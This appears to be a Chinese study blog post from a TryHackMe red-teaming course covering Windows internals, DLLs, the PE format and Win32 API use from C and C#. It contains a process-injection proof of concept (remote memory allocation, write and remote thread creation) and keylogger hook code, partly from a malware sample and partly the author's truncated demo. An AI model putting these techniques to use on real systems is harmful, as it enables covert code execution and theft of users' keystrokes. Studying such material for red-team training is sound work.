
Try Hack Me - Red Teaming
这是 TryHackMe Red Teaming Path 的 Host Evasions 部分,因为我是从 JR -> WAP -> Offensive Pentesting 这样学过来的,所以前面的很多房间学完了,AD 也在 OP 里面学完了,所以就这一部分没学。
全都是 Windows 相关的知识,学起来挺费劲的,对于从来没有接触过 C# 的我来说有点懵逼,特别是 Windows 那些非托管代码的用法一个都不知道,从来没有接触过 Windows 开发,不过还好,房间讲的很细,同时也要靠自己的主观性去搜不懂的有疑问的知识点,网上资源很多。我学习的过程中并不是仅限于房间内的资源,还会拓展很多的。
还是和 Offensive Pentesting 一样,建议这篇文章作为官方 WP 的补充来阅读。
Windows Internals
这个房间主要介绍了有关进程,可执行文件相关的东西,大体是让我们掌握这些的概念,不至于懵懵懂懂,相对来说还是挺好理解的。
Process
一个应用程序包含多个进程,一个进程又由多个组件组成。文档把这些组件分解为每个进程提供执行程序所需要的资源。
进程是通过执行应用程序创建的,Windows 的大部分功能都可以视为一个应用程序,拥有相应的进程。攻击者可以利用这些合法的进程进行攻击,以逃避检测。以下是一些进程攻击方法:
- Process Injection(进程注入) (T1055)
- Process Hollowing(进程镂空) (T1055.012)
- Process Masquerading(进程伪装) (T1055.013)
一个进程具有虚拟地址空间、可执行代码、打开系统对象的句柄、安全上下文、唯一的进程标识符、环境变量、优先级类、最小和最大工作集大小,以及至少一个执行线程。
进程组件 | 作用 |
---|---|
私有虚拟内存空间 | 分配给进程的虚拟内存地址 |
可执行程序 | 定义存储在虚拟内存空间中的代码和数据 |
打开的句柄 | 定义进程可访问的系统资源的句柄 |
安全上下文 | 访问令牌定义了用户, 安全组,权限和其他安全信息 |
进程 ID | 每个进程独有的数字标识符 |
线程 | 进程计划执行的部分 |
我们也可以在较低的层面上解释一个进程,因为它驻留在虚拟地址空间中。下表和图表描述了进程在内存中的样子。
组件 | 作用 |
---|---|
代码 | 将要被进程执行的代码 |
全局变量 | 存储的变量 |
进程堆 | 定义存储数据的堆 |
进程资源 | 定义进程未来的资源 |
环境块 | 定义线程信息的数据结构 |

这些信息说实话有点抽象了,但是我们能用任务管理器观察到他们实际的存在。这些数据是用户和攻击者最常操纵的内容。
**Value/Component ** | **Purpose ** | Example |
---|---|---|
名称 | 定义进程的名字,一般是进程 exe 的 名字 | conhost.exe |
PID | 每个进程独有的数字标识符 | 7408 |
状态 | 进程的运行状态(运行中,暂停等) | Running |
用户名 | 启动进程的用户,代表进程拥有的权限 | SYSTEM |
这里的问题就问了一些进程的 PID 相关,还有一个进程的完整性级别,之前做 Windows AD 里面碰到过。
Threads
线程是进程的一个可执行单元,线程与其父进程共享相同的详细信息和资源,例如代码、全局变量等。线程也有其独特的数值和数据,如下表所示。
Component | Purpose |
---|---|
栈 | 线程相关的所有数据(异常,过程调用等) |
线程局部存储 | 分配独立数据环境的储存空间的指针 |
栈参数 | 每个线程分配的独立的值 |
上下文结构 | 保存内核维护的机器寄存器的值 |
题目这里说实话把我绕住了,首先第一问问的是 notepad.exe 创建时,操作系统为它自动生成的第一个线程的唯一 ID 是什么。第二问是前一个线程的栈参数是什么,其实答案是是哪个线程 ID 创建了接下来的 notepad.exe。
Virtual memory
虚拟内存为每个进程提供一个私有虚拟内存空间。内存管理器用来将虚拟内存地址映射到物理地址的。拥有虚拟内存空间可以不直接写入物理内存,这样进程就减小碰撞风险了。内存管理器使用的是页来传输内存。所以应用程序用的虚拟内存可能会多于实际的物理内存。同时还会将页面虚拟内存移到磁盘(SWAP),以解决内存不够用的问题,提升系统效率,下图是示例。

32 位系统理论虚拟地址空间极限是 4GB。这个地址空间被一分为二,下半部分(0x00000000 - 0x7FFFFFFF)所述分配给进程。上半部分(0x80000000 - 0xFFFFFFFF)分配给操作系统内存使用。管理员可以设置 (increaseUserVA) 或者 AWE (Address Windowing Extensions) 来解决需要更大地址空间的应用程序。64 位系统的理论极限是 256TB。
可以看看 Windows XP,还有 Windows Server 2003 那些开启 4G 内存支持的文章。小时候自己也折腾过,开了一个 PAE,然后把没用到的内存开一个虚拟磁盘,然后在那个虚拟盘上开一个 SWAP。
Dynamic Link Libraries
这一节就是讲动态链接库了,和后面的几个房间都相关。
官方文档:What is a DLL
DLL 在我看来和 JavaScript Python 那些包的概念类似,它们实现了代码重用和模块化。不过 DLL 是编译好的,当然语言类型不同这些也应该不一样。
DLL 作为一个程序中所要用到的函数被加载,因为这个程序依赖 DLL,攻击者就可以针对 DLL 而不是应用程序本身来攻击,相当于把这个方法劫持了,以下是 MTIRE 攻击向量:
- DLL Hijacking(DLL 劫持) (T1574.001)
- DLL Side-Loading(DLL 侧载) (T1574.002)
- DLL Injection(DLL 注入) (T1055.001)
新版 QQ 使用 betterqqnt 那种方法我觉得应该是 DLL 劫持,因为他把恶意的 dbghelp.dll
文件丢到那个目录下,然后程序默认就会运行并且执行这个 DLL 里面的方法(我猜的)。
DLL 的创建与任何其他项目/应用程序并无不同;它们只需要稍作语法修改即可工作。下面是来自 Visual C++ Win32 动态链接库项目 的一个 DLL 示例。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include "stdafx.h"
#define EXPORTING_DLL
#include "sampleDLL.h"
// 这个函数是每个 DLL 文件必须包含的入口点函数,他是由 Windows 操作系统自动调用
// hModule (DLL 的句柄):操作系统告诉 DLL “这就是你自己的身份令牌”。DLL 可以用这个令牌来找到自己的位置,或者在需要时加载自己内部的资源。
// ul_reason_for_call (被调用的原因):操作系统告诉 DLL “我找你是因为一个新进程加载了你”,或者“一个线程正在退出,所以你需要做一些清理工作”。DLL 可以根据这个参数来决定它应该执行什么代码。
// lpReserved (保留参数):操作系统告诉 DLL “这个参数暂时不用,但将来可能会用,请不要动它”。
// DWORD = unsigned long
//
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved
)
{
// 这段代码中 DLLMain 没有执行任何参数,只是返回 TRUE,意味着他在 DLL 加载和卸载的时候不做任何初始化和清理工作
return TRUE;
}
void HelloWorld()
{
MessageBox( NULL, TEXT("Hello World"), TEXT("In a DLL"), MB_OK);
}
DWORD ul_reason_for_call
1
(或DLL_PROCESS_ATTACH
):DLL 刚刚被一个新进程加载。2
(或DLL_THREAD_ATTACH
):DLL 所在的进程里创建了一个新线程。3
(或DLL_THREAD_DETACH
):DLL 所在的进程里有一个线程退出了。0
(或DLL_PROCESS_DETACH
):DLL 即将被进程卸载。
下面是该 DLL 的头文件,通常会保存在一个名为 sampleDLL.h
的头文件中,并被其他源代码文件引用。它将定义导入和导出的函数。
1
2
3
4
5
6
7
8
9
#ifndef INDLL_H
#define INDLL_H
#ifdef EXPORTING_DLL
extern __declspec(dllexport) void HelloWorld();
#else
extern __declspec(dllimport) void HelloWorld();
#endif
#endif
加载 DLL
DLL 可以使用加载时动态链接或运行时动态链接加载到程序中。
加载时动态链接 load-time dynamic linking
当使用加载时动态链接加载时,应用程序会显式调用 DLL 函数。只有通过提供头文件 .h
和导入库文件 .lib
才能实现这种类型的链接。下面是一个从应用程序调用导出的 DLL 函数的示例。
1
2
3
4
5
6
7
8
#include "stdafx.h"
// 这里显式的导入了我们的文件
#include "sampleDLL.h"
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
HelloWorld();
return 0;
}
运行时动态链接 run-time dynamic linking
当使用运行时动态链接加载时,会使用一个单独的函数(LoadLibrary
或 LoadLibraryEx
)在运行时加载 DLL。加载后,你需要使用GetProcAddress
来识别要调用的导出的 DLL 函数。下面是一个在应用程序中加载和导入 DLL 函数的示例。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
...
// 这行代码定义了一个新的函数指针类型,名为 DLLPROC。这个类型的函数指针不返回任何值(VOID),并且接受一个字符串参数(LPTSTR)
typedef VOID (*DLLPROC) (LPTSTR);
...
// 这行声明了一个名为 HelloWorld 的函数指针变量,它的类型是我们上面定义的 DLLPROC
DLLPROC HelloWorld;
// HINSTANCE 是一个句柄类型,用于存储加载的 DLL 模块的实例句柄。它代表了 DLL 在内存中的位置
HINSTANCE hinstDLL;
// 一个布尔变量,用于存储 FreeLibrary 函数的返回值,以检查操作是否成功
BOOL fFreeDLL;
// 加载 DLL,如果成功加载,会返回一个模块句柄给 hinstDLL,失败返回 NULL
hinstDLL = LoadLibrary("sampleDLL.dll");
if (hinstDLL != NULL)
{
// 它在已经加载的 DLL 模块中查找并返回 HelloWorld 的内存地址。
HelloWorld = (DLLPROC) GetProcAddress(hinstDLL, "HelloWorld");
if (HelloWorld != NULL)
// 调用函数指针的。它执行 HelloWorld 指针所指向的代码,也就是 sampleDLL.dll 中的 HelloWorld 函数
(HelloWorld);
// 释放 DLL
fFreeDLL = FreeLibrary(hinstDLL);
}
...
TBH,这个代码把我绕了一会才看懂,如果没有 C 基础的话很坐牢的,不过梳理了一下把指针又复习了一遍就解决了,就拿上面代码中的这几行来解释:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 这里是定义一个名字叫 DLLPROC 的“函数指针类型”
typedef VOID (*DLLPROC) (LPTSTR);
// 原代码
// 这里是执行一个强制转换的功能
// 将一个通用指针的类型,安全地转换为一个特定的(DLLPROC)函数指针类型。
HelloWorld = (DLLPROC) GetProcAddress(hinstDLL, "HelloWorld");
// 第一种
// 编译器会抛出一个错误,告诉你“不能将一个地址解引用(dereference)为 DLLPROC 类型。”
// 这里的 * 试图解引用这个地址,尝试读取这个地址中的“值”
HelloWorld = *(DLLPROC) GetProcAddress(hinstDLL, "HelloWorld");
// 第二种
// 不能在类型转换的括号里使用 * 符号
HelloWorld = (*DLLPROC) GetProcAddress(hinstDLL, "HelloWorld");
在恶意代码中,通常会更多地使用运行时动态链接,而非加载时动态链接,但是具体的加载时动态链接案例没讲。
Portable Executable Format
PE(Portable Executable,可移植可执行文件)格式是可执行文件和对象文件的总体结构。PE 和 COFF(Common Object File Format,通用对象文件格式)文件构成了 PE 格式。

PE 数据的结构的解释如下:
DOS 头部 定义了文件的类型,
MZ
DOS 头将文件格式定义为.exe
。- **DOS Stub **是文件开头默认运行的一个程序,它会打印一条兼容性消息。这对于大多数用户来说不会影响文件的任何功能。当文件在旧的 DOS 系统中运行时,这个小程序会执行并打印那条经典的“This program cannot be run in DOS mode.”(本程序不能在 DOS 模式下运行)消息。在现代 Windows 系统中,这一部分会被忽略。
PE 头部(PE Header)也叫 NT 头
IMAGE_NT_HEADERS
- PE 签名是一个固定的 DWORD 值
0x50450000
(即 “PE\0\0”),用于正式标识文件为 PE 格式。 - 文件头(File Header)提供了二进制文件的 PE 头信息,它定义了文件的格式,包含签名和镜像文件头,目标机器类型(32 位还是 64 位)、节的数量、时间戳等。
- 可选文件头(Optional Header)的名称具有欺骗性,它是 PE 文件头的重要组成部分。它包含了加载器所需的最重要信息,比如程序入口点、代码和数据的基址等。
- 数据目录(Data Directories)它是可选文件头的一部分,是一个数组,数组中的每个条目都指向一个重要的数据结构,比如导入表、导出表、资源表等。
- PE 签名是一个固定的 DWORD 值
节头部表(Section Header)提供了每个节的元数据,比如名称、在文件中的位置、在内存中的位置、大小和权限等。
节(Sections)是文件的实际内容。每个节都有不同的作用和权限。
部分 作用 .text 包含可执行代码和入口点 .data 包含已初始化数据(字符串、变量等)。 .rdata or .idata 包含导入(Windows API)和 DLL。 .reloc 包含重定位信息 .rsrc 包含应用程序资源(图像等) .debug 包含调试信息
一个 .exe
文件是由 DOS 头 + PE 头 + 节组成的,一个标准的 PE 文件在内存中的布局是这样的:
- DOS 头 (
IMAGE_DOS_HEADER
) - DOS 存根 (
DOS Stub
) - PE 签名 (
PE\0\0
) - NT 头 (
IMAGE_NT_HEADERS
) - 节头列表 (
IMAGE_SECTION_HEADER
数组) - 节内容 (
.text
,.data
等)
想要了解更多可以看看这个文章:PE文件结构解析
Interacting with Windows Internals
这一节就是讲 Windows API 这些了,然后说了一下用户态和内核态这些。
大多数 Windows 内部组件都需要与物理硬件和内存交互,应用程序默认情况下通常无法与内核交互或修改物理硬件,并且需要一个接口实现这些。
User mode | Kernel Mode |
---|---|
无法直接访问硬件 | 直接访问硬件 |
在私有虚拟地址空间中创建进程 | 在单个共享虚拟地址空间中运行 |
访问“已拥有内存位置” | 访问整个物理内存 |
在用户模式或 “userspace” 中启动的应用程序将保持在该模式。当应用程序需要执行一个只有内核才能完成的操作时(例如:读写文件、创建新进程、网络通信等),它会发出一个系统调用请求,这个系统调用就是那个“切换点”的触发器。具体流程参考下图。

当 C# 这样的语言想要调用 Win32 API 时,它不会直接调用。它的代码会先被 CLR(Common Language Runtime)接管。CLR 会负责将中间代码翻译成机器码,并且在必要的时候,由 CLR 去调用底层的 Win32 API 来与操作系统交互。
所以,这个过程可以看作是一个“间接”调用:你的 C# 代码 → CLR → Win32 API → 操作系统
而不是:你的 C# 代码 → Win32 API → 操作系统
CLR 类似 Java Runtime 这样的东西,他也是提供了一个运行时,提供了自动垃圾回收、类型安全检查等功能。
注入弹窗到进程中
我们将把一个消息框注入到本地进程中,以演示与内存交互的 PoC,将消息框写入内存的步骤如下所述:
- 为消息框分配本地进程内存。
- 将消息框写入/复制到已分配的内存中。
- 从本地进程内存执行消息框。
第一步,我们可以使用 OpenProcess
获取指定进程的句柄。
1
2
3
4
5
6
// 获取一个进程的句柄
HANDLE hProcess = OpenProcess(
PROCESS_ALL_ACCESS, // 定义访问的权限
FALSE, // 目标句柄不可被继承,我们创建的子程序不带权限
DWORD(atoi(argv[1])) // 读取用户在命令行输入的进程号,转为 int
);
第二步,我们可以使用 VirtualAllocEx
分配一个带有有效载荷缓冲区的内存区域。
1
2
3
4
5
6
7
8
9
// VirtualAllocEx 在指定进程中分配、预留或释放内存
// remoteBuffer 存储这个新分配区域的地址
remoteBuffer = VirtualAllocEx(
hProcess, // 打开的目标进程的句柄
NULL, // 操作系统来决定分配内存的最佳位置
sizeof payload, // 内存分配区域的大小
(MEM_RESERVE | MEM_COMMIT), // 预留然后提交
PAGE_EXECUTE_READWRITE // 对提交区域开启执行和读写权限
);
第三步,我们可以使用 WriteProcessMemory
将有效载荷写入已分配的内存区域。
1
2
3
4
5
6
7
WriteProcessMemory(
hProcess, // 打开的目标进程的句柄
remoteBuffer, // 上一步分派的内存区域
payload, // 要写入的数据
sizeof payload, // 数据的字节大小
NULL // 不返回实际写入的字节数
);
WriteProcessMemory
的完整函数签名是这样的:
1
BOOL WriteProcessMemory( HANDLE hProcess, LPVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten );
lpNumberOfBytesWritten
:这个参数是一个可选的指针。如果你传入一个有效的地址,WriteProcessMemory
函数会将实际写入的字节数写入到这个地址。NULL
:当你传入NULL
时,就表示你不关心实际写入了多少字节,你只希望函数执行写入操作。
第四步,我们可以使用 CreateRemoteThread
从内存中执行我们的有效载荷。
1
2
3
4
5
6
7
8
9
10
11
// CreateRemoteThread:这个函数是 Windows API 中最经典的远程线程创建函数。它在目标进程内创建一个新的线程。
// remoteThread:一个 HANDLE 类型的变量,它将存储新创建的线程的句柄。有了这个句柄,你就可以控制这个线程,例如等待它完成或终止它。
remoteThread = CreateRemoteThread(
hProcess, // 打开的目标进程的句柄,也就是要在哪个进程里面创建线程
NULL, // 这个参数是用来设置线程的安全属性的,传入 NULL 表示使用默认的安全描述符。
0, // 栈的默认大小
(LPTHREAD_START_ROUTINE)remoteBuffer, // 这是一个类型转换,它告诉 CreateRemoteThread,remoteBuffer 指向的是一个线程可以开始执行的函数。
NULL, // 这是传递给新线程的参数。如果你的注入代码(payload)需要一个参数,就会在这里传入。
0, // 传入 0 表示线程创建后立即开始执行。
NULL // 一个可选参数,用于接收新线程的 ID。传入 NULL 表示你不关心新线程的 ID。
);
这个房间需要一些 Windows 开发相关的知识,如果不懂那些,光靠房间本身的解释是不够的,尤其是那些方法签名。房间只给你写好了示例,但是不给你解释每个方法形参的详细作用,导致理解很困难,上面的大部分都是靠 AI 来帮忙来理解的,光记录这个房间就用了我一下午的时间,不过收获很大。
Introduction to Windows API
这个房间呢,则是介绍了 Windows API 的组成,和一些调用 API 的方式,总体来说是概念为主,告诉了我们大部分攻防措施都是通过 API 来实现的,比如说 Hook API 以监测 API 的调用。这个房间要对操作系统架构有一个概念性的理解,就是那个操作系统分层模型。
Windows API 的组成部分
自上而下分解 Windows API
Layer | Explanation |
---|---|
API | 一个顶层/通用术语或理论,用于描述在 win32 API 结构中找到的任何调用。 |
Header files or imports | 定义了在运行时导入的库,这些库由头文件或库导入定义。使用指针获取函数地址。 |
Core DLLs | 定义调用结构的四个 DLL 组。(KERNEL32、USER32 和 ADVAPI32)。这些 DLL 定义了不包含在单个子系统中的内核和用户服务。 |
Supplemental DLLs | Windows API 中定义的其他 DLL。控制 Windows 操作系统的独立子系统。约 36 个其他已定义的 DLL。(NTDLL、COM、FVEAPI 等) |
Call Structures | 定义 API 调用本身和调用的参数。 |
API Calls | 程序中使用的 API 调用,其函数地址通过指针获取。 |
In/Out Parameters | 由调用结构定义的参数值。 |
OS Libraries 系统库
Win32 库的每个 API 调用都驻留在内存中,需要一个指向该函数的内存地址的指针。由于 ASLR(地址空间布局随机化),没法直接定位到这个函数,所以需要程序通过一个特定的机制去动态的定位这些函数的地址。比如说在 DLL 加载到内存后,通过 GetProcAddress
去查询需要的函数名,以获取他的内存地址。
Windows Header File 头文件
微软发布了 Windows 头文件,解决因为 ASLR 获取不到 API 地址的解决方案。
我们在编写自己的程序中,可以导入 windows.h
。他包含了几乎所有 Win32 API 函数的声明、数据类型和宏定义。它告诉你的程序,像 MessageBox
、CreateRemoteThread
这样的函数是存在的,以及它们的参数和返回值类型。
在运行时,通过操作系统提供的动态加载机制(例如 LoadLibrary
和 GetProcAddress
),我们能根据函数名动态地找到它的真实地址。
P/Invoke 机制和托管代码
我们之前聊过,像 C# 这样的托管代码(Managed Code)运行在 CLR (Common Language Runtime) 之下。CLR 会管理内存、提供垃圾回收,并保护你免受很多底层错误的困扰。
而 Win32 API 是 非托管代码(Unmanaged Code),它直接与操作系统交互,不被 CLR 管理。
如果你的 C# 程序想调用一个 Win32 API 函数(例如 MessageBoxA
),它不能直接调用,因为它们属于不同的“世界”。这个过程就像你在写 C++ 代码中用到汇编代码一样(ffmpeg)。
下面的代码从系统运行时里面导入了 InteropServices
命名空间,里面有一个 DllImport
特性,后面会紧跟着一个函数声明,这个声明告诉运行时,在 user32.dll
中有一个叫 MessageBox
的函数,它接受一些参数,并返回一个整数。
只要声明之后就可以在 C# 代码中直接像调用普通方法一样调用 MessageBox
。extern
关键字告诉 C# 编译器,这个函数不是在当前代码文件中实现的。
当你使用 [DllImport]
特性时,你实际上是在创建一个外部方法的声明。这个声明需要用 extern
关键字来修饰,因为它所指向的实际代码位于非托管的 DLL 文件中。
1
2
3
4
5
6
7
8
9
10
11
12
13
using System;
// 导入了 InteropServices 命名空间,它包含了所有与托管和非托管代码交互相关的类和特性,包括 DllImport
using System.Runtime.InteropServices;
public class Program
{
// "user32.dll": 指定了我们要从哪个 DLL 文件中导入函数。user32.dll 是 Windows 操作系统的一个核心 DLL,包含了图形用户界面相关的函数,比如 MessageBox。
// CharSet = CharSet.Unicode: 这个参数告诉运行时,在调用非托管函数时,字符串应该使用 Unicode 字符集。
// SetLastError = true: 这是一个非常重要的参数,它告诉运行时,在调用非托管函数后,如果函数失败了,要保存 Windows 系统的错误代码。你可以通过 Marshal.GetLastWin32Error() 方法来获取这个错误代码。
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern int MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType);
}
现在就可以把这个函数当成托管方法调用了,尽管他是非托管方法。
API Call Structure API 调用结构
API 调用是 Win32 库的第二个主要组成部分。具体的 Win32 API 调用可以参考 Windows API documentation 和 pinvoke.net。
附加字符
API 调用功能可以通过附加一个代表性字符来扩展,这是微软 Win32 API 函数的命名约定,我们作为开发者只需要按照这个命名规则去调用正确的函数版本。
字符 | 解释 |
---|---|
A | 表示使用 ANSI 编码的 8 位字符集 |
W | 代表 Unicode 编码 |
Ex | 为 API 调用提供扩展功能或输入/输出参数 |
更多示例参考微软文档:Working with Strings,这个功能是为了向后兼容性准备的。
在之后的实践中你就会碰到很多问题了,比如说在 C 程序中,用的是 ANSI 编码,然后提供的函数没有 A 结尾的,就要手动处理函数类转换了。
方法签名
每个 API 调用都有预定义的结构来定义其输入/输出参数。你可以在 Windows API index 中相应的 API 文档里面找到。
下面是 WirteProcessMemory
API 调用的示例,官方文档:WriteProcessMemory function (memoryapi.h)
1
2
3
4
5
6
7
BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
);
- [in] hProcess: 要修改的进程内存的句柄。该句柄必须对进程具有 PROCESS_VM_WRITE 和 PROCESS_VM_OPERATION 访问权限。
- [in] lpBaseAddress: 一个指向指定进程中要写入数据的基地址的指针。在数据传输发生之前,系统会验证基地址和指定大小内存中的所有数据是否可用于写入访问,如果不可访问,则函数失败。
- [in] lpBuffer: 一个指向缓冲区的指针,该缓冲区包含要写入指定进程地址空间的数据。
- [in] nSize: 要写入指定进程的字节数。
- [out] lpNumberOfBytesWritten: 一个指向变量的指针,该变量接收传输到指定进程的字节数。此参数是可选的。如果 lpNumberOfBytesWritten 为 NULL,则忽略该参数。
上一个房间用过这个函数,这里就把文档里的每个参数的作用复制过来了,最主要还是得看文档。
API Implementations API 实现
API 实现在 C 中
Microsoft 为 C 和 C++ 等低级编程语言提供了一套预配置的库,我们可以使用这些库来访问所需的 API 调用。这个就是上上节讲的 windows.h
文件,在我们的程序开头添加一个 #include <windows.h>
,导入进来就行。
下面是一个使用 CreateWindowExA
创建一个标题为“Hello THM!”的弹出窗口的示例,文档地址:CreateWindowExA function (winuser.h)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// HWND 是窗口句柄
// CreateWindowExA 方法签名
HWND CreateWindowExA(
[in] DWORD dwExStyle, // 窗口扩展样式(比如是否是工具窗口、是否是浮动窗口等)
[in, optional] LPCSTR lpClassName, // 指定创建的窗口的类型或模板
[in, optional] LPCSTR lpWindowName, // 窗口标题
[in] DWORD dwStyle, // 窗口的标准样式(比如是否有最大化按钮、是否可以调整大小等)
[in] int X, // X position
[in] int Y, // Y position
[in] int nWidth, // Width size
[in] int nHeight, // Height size
[in, optional] HWND hWndParent, // 父窗口
[in, optional] HMENU hMenu, // 菜单
[in, optional] HINSTANCE hInstance, // 与窗口关联的模块实例的句柄
[in, optional] LPVOID lpParam // 指向一个值的指针,允许你将一个自定义的数据结构传递给窗口
);
// 具体的调用代码
HWND hwnd = CreateWindowsEx(
0,
CLASS_NAME,
L"Hello THM!",
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
NULL,
NULL,
hInstance,
NULL
);
CreateWindowEx
是 CreateWindow
的增强版本。
- 基础版本:
CreateWindow
。它提供了一组基本的窗口样式参数(dwStyle
),足以创建大多数常见的窗口。 - 扩展版本:
CreateWindowEx
。它在CreateWindow
的基础上,额外添加了一个dwExStyle
参数,提供了更多特殊或高级的窗口样式。
API 实现在 .NET and PowerShell 中
下面是一个示例应用程序,它使用 API 获取运行该应用程序的设备的计算机名和其他信息。
为了让 P/Invoke 代码在 32 位和 64 位系统上都能正确编译和运行,开发者会选择使用 IntPtr
来映射这些可变大小的指针和句柄。HANDLE
在 32 位系统上是 4 字节,在 64 位系统上是 8 字节。为了让 P/Invoke 代码在 32 位和 64 位系统上都能正确编译和运行,开发者会选择使用 IntPtr
来映射这些可变大小的指针和句柄。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Win32 {
[DllImport("kernel32")]
// 这里用 bool 来接收也可以,这个函数是返回成功与否
// 我也不清楚为什么给的 demo 用的 IntPtr 接收
public static extern IntPtr GetComputerNameA(StringBuilder lpBuffer, ref uint lpnSize);
}
static void Main(string[] args) {
bool success;
StringBuilder name = new StringBuilder(260);
uint size = 260;
success = GetComputerNameA(name, ref size);
Console.WriteLine(name.ToString());
}
现在来介绍相同的方法如何在 PowerShell 中实现,我们需要创建一个方法而不是一个类,并添加一些额外的运算符。
1
2
3
4
5
6
7
8
$MethodDefinition = @"
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
"@;
这些调用现在已定义,但 PowerShell 在初始化它们之前还需要一个步骤。我们必须为方法定义中每个 Win32 DLL 的指针创建一个新类型。函数 Add-Type
将在 /temp
目录中放置一个临时文件,并使用 csc.exe
编译所需的函数。下面是该函数的使用示例。
1
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
现在就能用如下的语法调用这个 API:
1
[Win32.Kernel32]::<Imported Call>()
这个 PowerShell 和 NET 在之后的学习中会用到很多次,注意给的 demo 的区别是 PowerShell 代码通常含有 $。
常用滥用 API
Win32 库中的一些 API 调用很容易被恶意活动利用。SANs 和 MalAPI.io 在内的多个组织记录和整理了所有具有恶意的可用 API 调用。下面是一些常用滥用 API 的名字和作用:
API Call | Explanation |
---|---|
LoadLibraryA | 将指定的 DLL 加载到调用进程的虚拟地址空间中 |
GetUserNameA | 检索与当前线程关联的用户名称 |
GetComputerNameA | 检索本地计算机的 NetBIOS 或 DNS 名称 |
GetVersionExA | 获取当前运行操作系统的版本信息 |
GetModuleFileNameA | 检索指定模块(DLL 或 EXE)的完整路径 |
GetStartupInfoA | 获取当前进程的启动信息 |
GetModuleHandle | 如果指定的模块已被加载到当前进程的地址空间,则返回该模块的句柄 |
GetProcAddress | 返回指定 DLL 中导出函数的地址 |
VirtualProtect | 更改调用进程虚拟地址空间中某段内存的保护属性 |
案例学习
现在我们已经了解了 Win32 库和常用滥用 API 调用的底层实现,接下来让我们分析两个恶意软件样本,并观察它们的调用如何交互。
键盘记录器
由于键盘记录器是用 C#编写的,它必须使用 P/Invoke 来获取每个调用的指针。下面是恶意软件样本源代码的 P/Invoke 定义片段。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 将一个钩子过程(Hook Procedure)安装到 Windows 系统中的一个钩子链上
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
// 从 Hook 链中移除 Hook
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
// 如果指定的模块已映射到调用进程的地址空间中,则返回该模块的句柄
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
private static int WHKEYBOARDLL = 13;
// 返回一个伪句柄
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetCurrentProcess();
下面是这个样本中 Hook 的片段
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static void Main() {
// _proc 是一个回调函数,当有键盘事件发生时,Windows 会调用这个函数
// 如果钩子安装成功,SetHook 函数会返回一个钩子句柄,并存储在 _hookID 中
_hookID = SetHook(_proc);
// 这是 C# 应用程序的消息循环
// 启动一个循环,等待和处理各种事件(如键盘事件、鼠标事件、窗口消息等)
Application.Run();
// 当程序退出消息循环时(比如用户关闭了窗口),会调用这个函数
// 它卸载之前安装的钩子,否则钩子会一直留在内存中,导致资源泄漏
UnhookWindowsHookEx(_hookID);
// 退出应用程序
Application.Exit();
}
private static IntPtr SetHook(LowLevelKeyboardProc proc) {
// 这行代码获取当前正在运行的进程。using 关键字确保 curProcess 对象在使用后会被正确地释放
using (Process curProcess = Process.GetCurrentProcess()) {
// 低级键盘钩子
// 返回一个钩子句柄
return SetWindowsHookEx(WHKEYBOARDLL, proc, GetModuleHandle(curProcess.ProcessName), 0);
}
}
参考:Using Hooks
键盘记录器 Demo
这是我写的一个键盘记录器 Demo。
总体的过程是创建一个进程,然后给这个进程上一个全局的低级键盘钩子,让每次按键执行的时候都会触发我们的回调函数,回调函数记录并且写入按键到硬盘。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
public class Program
{
// 定义一个静态字段来存储钩子句柄
private static IntPtr _hookID = IntPtr.Zero;
// 定义一个委托,用于处理键盘事件的回调函数
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
// 实例化 LowLevelKeyboardProc 委托,并指向我们自己的钩子回调函数
private static LowLevelKeyboardProc _proc = HookCallback;
// 这是 Windows API 函数的 P/Invoke 声明
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
